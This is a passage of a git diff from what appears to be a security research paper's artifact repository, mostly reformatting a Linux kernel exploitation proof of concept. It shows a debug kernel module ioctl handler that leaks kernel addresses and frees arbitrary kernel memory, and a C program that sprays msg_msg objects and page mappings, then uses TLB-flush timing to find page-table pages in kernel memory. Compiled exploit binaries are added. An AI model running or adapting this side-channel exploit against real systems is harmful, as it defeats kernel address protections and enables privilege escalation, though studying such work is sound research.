COPY_TMP_TO_USER; + + case LKM_FILE_LEAK: + id = msg.frd.fd; + files = current->files; + + spin_lock(&files->file_lock); + fdt = files_fdtable(files); + tmp = (size_t)fdt->fd[id]; + spin_unlock(&files->file_lock); + + // printk(KERN_INFO "lkm:ioctl: file %016zx\n", tmp); + uaddr = (size_t *)msg.frd.uaddr; + goto COPY_TMP_TO_USER; + + case LKM_STACK_LEAK: + tmp = (size_t)current->stack; + uaddr = (size_t *)msg.drd.uaddr; + // printk(KERN_DEBUG "lkm:ioctl: current->stack %16zx with + // current %16zx within [%016zx %016zx]\n", tmp, (size_t)&dummy, + // VMALLOC_START, VMALLOC_END); + goto COPY_TMP_TO_USER; + + case LKM_CODE_LEAK: + tmp = (size_t)__text; + uaddr = (size_t *)msg.drd.uaddr; + goto COPY_TMP_TO_USER; + + case LKM_VMEMMAP_LEAK: + tmp = (size_t)vmemmap_base; + uaddr = (size_t *)msg.drd.uaddr; + goto COPY_TMP_TO_USER; + + case LKM_VMALLOC_BASE_LEAK: + tmp = (size_t)vmalloc_base; + uaddr = (size_t *)msg.drd.uaddr; + goto COPY_TMP_TO_USER; + + case LKM_ARB_FREE: + printk(KERN_DEBUG "lkm:ioctl: free %016zx\n", msg.af.kaddr); + kfree((void *)msg.af.kaddr); + break; + + case LKM_PIPE_BUFFER_LEAK: + id = msg.pbrd.fd; + files = current->files; + + spin_lock(&files->file_lock); + fdt = files_fdtable(files); + file = fdt->fd[id]; + spin_unlock(&files->file_lock); + + pipe = file->private_data; + tail = pipe->tail; + head = pipe->head; + mask = pipe->ring_size - 1; + if (msg.pbrd.rdend) + tmp = (size_t)&pipe->bufs[tail & mask]; + else + tmp = (size_t)&pipe->bufs[(head - 1) & mask]; + // printk(KERN_DEBUG "lkm:ioctl: pipe_buffer %016zx\n", tmp); + uaddr = (size_t *)msg.pbrd.uaddr; + goto COPY_TMP_TO_USER; + + case LKM_PAGETABLE_WALK: + printk(KERN_DEBUG "lkm:ioctl: page table walk\n"); + msg.ptw.pgde = 0; + msg.ptw.p4de = 0; + msg.ptw.pude = 0; + msg.ptw.pmde = 0; + msg.ptw.pte = 0; + pagetable_walk(&msg); + ret = copy_to_user((msg_t *)param, (msg_t *)&msg, + sizeof(msg_t)); + if (ret < 0) { + printk(KERN_ALERT "lkm:ioctl: copy_to_user failed\n"); + ret = -1; + goto RETURN; + } + break; + + case LKM_IS_4KB: + ret = !isLargePage(msg.ap.addr); + // printk(KERN_DEBUG "lkm:ioctl: %016zx is %s page\n", + // msg.ap.addr, ret == 1 ? "4kB" : "2MB"); + return ret; + + default: + printk(KERN_ERR "lkm:ioctl: no valid num\n"); + ret = -1; + goto RETURN; } ret = 0; goto DONE; COPY_TMP_TO_USER: - if(uaddr == 0) { // && "forgot to set uaddr"); + if (uaddr == 0) { // && "forgot to set uaddr"); printk(KERN_ERR "lkm:ioctl: uaddr == 0\n"); // ret = -1; goto RETURN; @@ -831,7 +858,8 @@ COPY_TMP_TO_USER: // ret = -1; goto RETURN; } - // printk(KERN_INFO "lkm:ioctl: copy 0x%016zx to mem[0x%016zx]\n", tmp, (size_t)uaddr); + // printk(KERN_INFO "lkm:ioctl: copy 0x%016zx to mem[0x%016zx]\n", tmp, + // (size_t)uaddr); ret = copy_to_user(uaddr, &tmp, sizeof(size_t)); if (ret < 0) { printk(KERN_ERR "lkm:ioctl: copy_to_user failed\n"); diff --git a/paper/artifacts/page-table/pmd_4k_leak.elf b/paper/artifacts/page-table/pmd_4k_leak.elf new file mode 100755 index 000000000..f56a2613c Binary files /dev/null and b/paper/artifacts/page-table/pmd_4k_leak.elf differ diff --git a/paper/artifacts/page-table/pt_4k_leak.c b/paper/artifacts/page-table/pt_4k_leak.c index 49e993b98..0f39e5df0 100644 --- a/paper/artifacts/page-table/pt_4k_leak.c +++ b/paper/artifacts/page-table/pt_4k_leak.c @@ -1,262 +1,294 @@ -#include "utils.h" +#include + #include "cacheutils.h" -#include "tlb_flush.h" #include "coarse_grain_leak.h" +#include "tlb_flush.h" +#include "utils.h" #define DEBUG #ifdef DEBUG #include "ulkm.h" #endif -#include "msg_msg.h" -#include #include -#define IPPROTO_DCCP 33 -#define IPPROTO_SCTP 132 -#define IPPROTO_L2TP 115 -#define CAN_RAW 1 -#define CAN_BCM 2 -#define CAN_ISOTP 6 +#include -#define HIST_SIZE 60 -#define TRIES 40 +#include "msg_msg.h" +#define IPPROTO_DCCP 33 +#define IPPROTO_SCTP 132 +#define IPPROTO_L2TP 115 +#define CAN_RAW 1 +#define CAN_BCM 2 +#define CAN_ISOTP 6 -#define PAGE_SPRAY (30) +#define HIST_SIZE 60 +#define TRIES 40 + +#define PAGE_SPRAY (30) #define PAGE_OTHER_SPRAY (10) -#define PAGE_SIZE (1<<12) -#define PMD_SIZE (1<<21) +#define PAGE_SIZE (1 << 12) +#define PMD_SIZE (1 << 21) -#define MSG_SIZE (256 - 48) -#define MSG_SPRAYS (1<<8)*32 -#define MSG_TYPE 0x41 +#define MSG_SIZE (256 - 48) +#define MSG_SPRAYS (1 << 8) * 32 +#define MSG_TYPE 0x41 -#define IS_HIT(t, tn2, tn4, tn8) (((tn2) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn4) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn8) - (t) >= (THRESHOLD2-THRESHOLD+2))) +#define IS_HIT(t, tn2, tn4, tn8) \ + (((tn2) - (t)) >= (THRESHOLD2 - THRESHOLD + 2) || \ + ((tn4) - (t)) >= (THRESHOLD2 - THRESHOLD + 2) || \ + ((tn8) - (t) >= (THRESHOLD2 - THRESHOLD + 2))) int qids[MSG_SPRAYS]; -void __hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8, size_t print) +void +__hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, + size_t *time_n, size_t *time_n4, size_t *time_n8, size_t print) { - size_t t; - size_t times[tries]; - size_t hist[HIST_SIZE] = {0}; - size_t times_n[tries]; - size_t hist_n[HIST_SIZE] = {0}; - size_t times_n4[tries]; - size_t hist_n4[HIST_SIZE] = {0}; - size_t times_n8[tries]; - size_t hist_n8[HIST_SIZE] = {0}; - /* leaking */ - for (size_t i = 0; i < tries; ++i) { - flush_tlb_targeted_4k(addr); - flush_tlb_targeted_4k(addr+PAGE_SIZE); - flush_tlb_targeted_4k(addr+PAGE_SIZE*4); - flush_tlb_targeted_4k(addr+PAGE_SIZE*8); - if (i % 2 == 0) - mprotect(uaddr, PAGE_SIZE, PROT_READ); - else - mprotect(uaddr, PAGE_SIZE, PROT_WRITE); - t = onlyreload(addr); - hist[MIN(t,HIST_SIZE-2)]++; - times[i] = t; + size_t t; + size_t times[tries]; + size_t hist[HIST_SIZE] = { 0 }; + size_t times_n[tries]; + size_t hist_n[HIST_SIZE] = { 0 }; + size_t times_n4[tries]; + size_t hist_n4[HIST_SIZE] = { 0 }; + size_t times_n8[tries]; + size_t hist_n8[HIST_SIZE] = { 0 }; + /* leaking */ + for (size_t i = 0; i < tries; ++i) { + flush_tlb_targeted_4k(addr); + flush_tlb_targeted_4k(addr + PAGE_SIZE); + flush_tlb_targeted_4k(addr + PAGE_SIZE * 4); + flush_tlb_targeted_4k(addr + PAGE_SIZE * 8); + if (i % 2 == 0) + mprotect(uaddr, PAGE_SIZE, PROT_READ); + else + mprotect(uaddr, PAGE_SIZE, PROT_WRITE); + t = onlyreload(addr); + hist[MIN(t, HIST_SIZE - 2)]++; + times[i] = t; - t = onlyreload(addr+PAGE_SIZE); - times_n[i] = t; - hist_n[MIN(t,HIST_SIZE-2)]++; + t = onlyreload(addr + PAGE_SIZE); + times_n[i] = t; + hist_n[MIN(t, HIST_SIZE - 2)]++; - t = onlyreload(addr+PAGE_SIZE*4); - times_n4[i] = t; - hist_n4[MIN(t,HIST_SIZE-2)]++; + t = onlyreload(addr + PAGE_SIZE * 4); + times_n4[i] = t; + hist_n4[MIN(t, HIST_SIZE - 2)]++; - t = onlyreload(addr+PAGE_SIZE*8); - times_n8[i] = t; - hist_n8[MIN(t,HIST_SIZE-2)]++; - } - qsort(times, tries, sizeof(size_t), comp); - qsort(times_n, tries, sizeof(size_t), comp); - qsort(times_n4, tries, sizeof(size_t), comp); - qsort(times_n8, tries, sizeof(size_t), comp); - for (size_t i = 20; i < HIST_SIZE && print; i += 2) - printf("% 4zd:\t %3zd %3zd %3zd %3zd\n", i, hist[i], hist_n[i], hist_n4[i], hist_n8[i]); - *time = times[tries/8]; - *time_n = times_n[tries/8]; - *time_n4 = times_n4[tries/8]; - *time_n8 = times_n8[tries/8]; + t = onlyreload(addr + PAGE_SIZE * 8); + times_n8[i] = t; + hist_n8[MIN(t, HIST_SIZE - 2)]++; + } + qsort(times, tries, sizeof(size_t), comp); + qsort(times_n, tries, sizeof(size_t), comp); + qsort(times_n4, tries, sizeof(size_t), comp); + qsort(times_n8, tries, sizeof(size_t), comp); + for (size_t i = 20; i < HIST_SIZE && print; i += 2) + printf("% 4zd:\t %3zd %3zd %3zd %3zd\n", i, hist[i], hist_n[i], + hist_n4[i], hist_n8[i]); + *time = times[tries / 8]; + *time_n = times_n[tries / 8]; + *time_n4 = times_n4[tries / 8]; + *time_n8 = times_n8[tries / 8]; } -void hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8) +void +hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, + size_t *time_n4, size_t *time_n8) { - __hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 0); + __hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 0); } -void hit_flush_print(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8) +void +hit_flush_print(void *uaddr, size_t addr, size_t tries, size_t *time, + size_t *time_n, size_t *time_n4, size_t *time_n8) { - __hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 1); + __hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 1); } -int main(void) +int +main(void) { - printf("[*] start\n"); - set_limit(); - setvbuf(stdout, NULL, _IONBF, 0); - setvbuf(stdin, NULL, _IONBF, 0); - setvbuf(stderr, NULL, _IONBF, 0); - pin_to_core(0); + printf("[*] start\n"); + set_limit(); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + pin_to_core(0); - init_tlb_flush(); - get_total_memory(); + init_tlb_flush(); + get_total_memory(); - static char buffer[0x1000] = {0}; - msg *message = (msg *)buffer; - message->mtype = MSG_TYPE; + static char buffer[0x1000] = { 0 }; + msg *message = (msg *)buffer; + message->mtype = MSG_TYPE; - printf("[*] make queues\n"); - for (size_t i = 0; i < MSG_SPRAYS; ++i) - qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + printf("[*] make queues\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); - printf("[*] warmup and other alloc msg_msg structs\n"); - for (size_t i = 0; i < MSG_SPRAYS; ++i) - send_msg(qids[i], message, MSG_SIZE, 0); + printf("[*] warmup and other alloc msg_msg structs\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + send_msg(qids[i], message, MSG_SIZE, 0); - printf("[*] reserve mmappings\n"); - void *addresses[PAGE_SPRAY]; - for (size_t i = 0; i < PAGE_SPRAY; ++i) { - void *addr = (void *)((0x6dULL<<21) + (1ULL<<12)*i); - addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0); - // printf("[*] addresses[%ld] %0zx (%016zx)\n", i, (size_t)addresses[i], (size_t)addr); - if (addresses[i] == MAP_FAILED) { - perror("mmap()"); - exit(-1); - } - } - void *other_addresses[PAGE_OTHER_SPRAY]; - for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i) { - void *addr = (void *)((0x6fULL<<21) + (1ULL<<12)*i); - other_addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0); - // printf("[*] other_addresses[%ld] %0zx (%016zx)\n", i, (size_t)other_addresses[i], (size_t)addr); - if (other_addresses[i] == MAP_FAILED) { - perror("mmap()"); - exit(-1); - } - } + printf("[*] reserve mmappings\n"); + void *addresses[PAGE_SPRAY]; + for (size_t i = 0; i < PAGE_SPRAY; ++i) { + void *addr = (void *)((0x6dULL << 21) + (1ULL << 12) * i); + addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE | PROT_READ, + MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); + // printf("[*] addresses[%ld] %0zx (%016zx)\n", i, + // (size_t)addresses[i], (size_t)addr); + if (addresses[i] == MAP_FAILED) { + perror("mmap()"); + exit(-1); + } + } + void *other_addresses[PAGE_OTHER_SPRAY]; + for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i) { + void *addr = (void *)((0x6fULL << 21) + (1ULL << 12) * i); + other_addresses[i] = mmap(addr, PAGE_SIZE, + PROT_WRITE | PROT_READ, MAP_FIXED | MAP_ANON | MAP_PRIVATE, + -1, 0); + // printf("[*] other_addresses[%ld] %0zx (%016zx)\n", i, + // (size_t)other_addresses[i], (size_t)addr); + if (other_addresses[i] == MAP_FAILED) { + perror("mmap()"); + exit(-1); + } + } - printf("[*] load 1st half of kernel modules\n"); - int sock_fd; - sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP); - if (sock_fd < 0) { - perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)"); - exit(-1); - } - sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0); - if (sock_fd < 0) { - perror("socket(SOCK_DGRAM, CAN_BCM, 0)"); - exit(-1); - } - sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0); - if (sock_fd < 0) { - perror("socket(AF_VSOCK, SOCK_STREAM, 0)"); - exit(-1); - } + printf("[*] load 1st half of kernel modules\n"); + int sock_fd; + sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP); + if (sock_fd < 0) { + perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)"); + exit(-1); + } + sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0); + if (sock_fd < 0) { + perror("socket(SOCK_DGRAM, CAN_BCM, 0)"); + exit(-1); + } + sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0); + if (sock_fd < 0) { + perror("socket(AF_VSOCK, SOCK_STREAM, 0)"); + exit(-1); + } - /* hopefully allocate PUD of 4k mapping */ - for (size_t i = 0; i < PAGE_SPRAY; ++i) - *(volatile size_t *)addresses[i]; - for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i) - *(volatile size_t *)other_addresses[i]; + /* hopefully allocate PUD of 4k mapping */ + for (size_t i = 0; i < PAGE_SPRAY; ++i) + *(volatile size_t *)addresses[i]; + for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i) + *(volatile size_t *)other_addresses[i]; - printf("[*] load 2nd half of kernel modules\n"); - sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP); - if (sock_fd < 0) { - perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP"); - exit(-1); - } - sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP); - if (sock_fd < 0) { - perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)"); - exit(-1); - } - sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP); - if (sock_fd < 0) { - perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)"); - exit(-1); - } + printf("[*] load 2nd half of kernel modules\n"); + sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP); + if (sock_fd < 0) { + perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP"); + exit(-1); + } + sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP); + if (sock_fd < 0) { + perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)"); + exit(-1); + } + sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP); + if (sock_fd < 0) { + perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)"); + exit(-1); + } - size_t time; - size_t time_n; - size_t time_n4; - size_t time_n8; - size_t dpm_base = dpm_leak(TRIES); - printf("[*] dpm_base: %016zx\n", dpm_base); + size_t time; + size_t time_n; + size_t time_n4; + size_t time_n8; + size_t dpm_base = dpm_leak(TRIES); + printf("[*] dpm_base: %016zx\n", dpm_base); #ifdef DEBUG - lkm_init(); - size_t real_dpm_base; - lkm_dpm_leak((size_t)&real_dpm_base); - if (real_dpm_base != dpm_base) { - printf("[!] wrong dpm base %016zx != %016zx\n", real_dpm_base, dpm_base); - exit(-1); - } + lkm_init(); + size_t real_dpm_base; + lkm_dpm_leak((size_t)&real_dpm_base); + if (real_dpm_base != dpm_base) { + printf("[!] wrong dpm base %016zx != %016zx\n", real_dpm_base, + dpm_base); + exit(-1); + } - size_t success = 0; - size_t cnt = 0; + size_t success = 0; + size_t cnt = 0; - size_t pgde; - size_t pude; - size_t pmde; - size_t pte; - lkm_arb_pagetable_wald((size_t)addresses[0], &pgde, &pude, &pmde, &pte); - size_t pud = dpm_base + (pgde & ~(0xfff)); - size_t pmd = dpm_base + (pude & ~(0xfff)); - size_t pt = dpm_base + (pmde & ~(0xfff)); - printf("[*] %010zx %010zx %010zx\n", pud, pmd, pt); - size_t is_4kb = lkm_is_4kb(pmd); - printf("[*] %016zx is %s page\n", pt, is_4kb ? "4kB" : "2MB"); - hit_flush_print(addresses[0], pt, TRIES*10, &time, &time_n, &time_n4, &time_n8); + size_t pgde; + size_t pude; + size_t pmde; + size_t pte; + lkm_arb_pagetable_wald((size_t)addresses[0], &pgde, &pude, &pmde, &pte); + size_t pud = dpm_base + (pgde & ~(0xfff)); + size_t pmd = dpm_base + (pude & ~(0xfff)); + size_t pt = dpm_base + (pmde & ~(0xfff)); + printf("[*] %010zx %010zx %010zx\n", pud, pmd, pt); + size_t is_4kb = lkm_is_4kb(pmd); + printf("[*] %016zx is %s page\n", pt, is_4kb ? "4kB" : "2MB"); + hit_flush_print(addresses[0], pt, TRIES * 10, &time, &time_n, &time_n4, + &time_n8); #endif - for (size_t addr = dpm_base+(1ULL<<30); addr < dpm_base+mem_total_rounded; addr += PMD_SIZE) { - if ((addr % (1 << 30)) == 0) - printf("[*] addr %016zx\n", addr); - hit_flush(addresses[0], addr, TRIES/4, &time, &time_n, &time_n4, &time_n8); - if (time < THRESHOLD && time_n < THRESHOLD && time_n4 < THRESHOLD && time_n8 < THRESHOLD) - continue; - for (size_t addr4k = addr; addr4k < addr + PMD_SIZE; addr4k += PAGE_SIZE) { - hit_flush(addresses[0], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8); - size_t found = IS_HIT(time, time_n, time_n4, time_n8); - if (found) { - for (size_t i = 1; i < PAGE_SPRAY && found == 1; ++i) { - hit_flush(addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8); - found = IS_HIT(time, time_n, time_n4, time_n8); - } - for (size_t i = 1; i < PAGE_OTHER_SPRAY && found == 1; ++i) { - hit_flush(other_addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8); - found = !IS_HIT(time, time_n, time_n4, time_n8); - } - } - if (found) { + for (size_t addr = dpm_base + (1ULL << 30); + addr < dpm_base + mem_total_rounded; addr += PMD_SIZE) { + if ((addr % (1 << 30)) == 0) + printf("[*] addr %016zx\n", addr); + hit_flush(addresses[0], addr, TRIES / 4, &time, &time_n, + &time_n4, &time_n8); + if (time < THRESHOLD && time_n < THRESHOLD && + time_n4 < THRESHOLD && time_n8 < THRESHOLD) + continue; + for (size_t addr4k = addr; addr4k < addr + PMD_SIZE; + addr4k += PAGE_SIZE) { + hit_flush(addresses[0], addr4k, TRIES, &time, &time_n, + &time_n4, &time_n8); + size_t found = IS_HIT(time, time_n, time_n4, time_n8); + if (found) { + for (size_t i = 1; i < PAGE_SPRAY && found == 1; + ++i) { + hit_flush(addresses[i], addr4k, TRIES, + &time, &time_n, &time_n4, &time_n8); + found = IS_HIT(time, time_n, time_n4, + time_n8); + } + for (size_t i = 1; + i < PAGE_OTHER_SPRAY && found == 1; ++i) { + hit_flush(other_addresses[i], addr4k, + TRIES, &time, &time_n, &time_n4, + &time_n8); + found = !IS_HIT(time, time_n, time_n4, + time_n8); + } + } + if (found) { #ifdef DEBUG - cnt++; - success |= (addr4k == pt); + cnt++; + success |= (addr4k == pt); #endif - printf("[+] found addr %016zx\n", addr4k); - } + printf("[+] found addr %016zx\n", addr4k); + } + } + } - } - } - - printf("[*] cleanup\n"); - for (size_t i = 0; i < MSG_SPRAYS; ++i) - cleanup_queue(qids[i]); + printf("[*] cleanup\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + cleanup_queue(qids[i]); #ifdef DEBUG - if (success == 1 && cnt == 1) - printf("[+] success\n"); - else if (!is_4kb) - printf("[!] 2MB page\n"); - else if (success == 1 && cnt > 1) - printf("[!] multiple addresses -> retry\n"); - else if (cnt == 0) - printf("[!] not found\n"); - else if (cnt == 1) - printf("[!] fail with one address\n"); - else - printf("[!] fail with multiple addresses\n"); + if (success == 1 && cnt == 1) + printf("[+] success\n"); + else if (!is_4kb) + printf("[!] 2MB page\n"); + else if (success == 1 && cnt > 1) + printf("[!] multiple addresses -> retry\n"); + else if (cnt == 0) + printf("[!] not found\n"); + else if (cnt == 1) + printf("[!] fail with one address\n"); + else + printf("[!] fail with multiple addresses\n"); #else - printf("[*] done\n"); + printf("[*] done\n"); #endif - return 0; + return 0; } diff --git a/paper/artifacts/page-table/pt_4k_leak.elf b/paper/artifacts/page-table/pt_4k_leak.elf new file mode 100755 index 000000000..46024952b Binary files /dev/null and b/paper/artifacts/page-table/pt_4k_leak.elf differ diff --git a/paper/artifacts/page-table/pud_4k_leak.elf b/paper/artifacts/page-table/pud_4k_leak.elf new file mode 100755 index 000000000..994ad861d Binary files /dev/null and b/paper/artifacts/page-table/pud_4k_leak.elf differ diff --git a/paper/artifacts/stack/stack_leak.elf b/paper/artifacts/stack/stack_leak.elf new file mode 100755 index 000000000..fc91ad28d Binary files /dev/null and b/paper/artifacts/stack/stack_leak.elf differ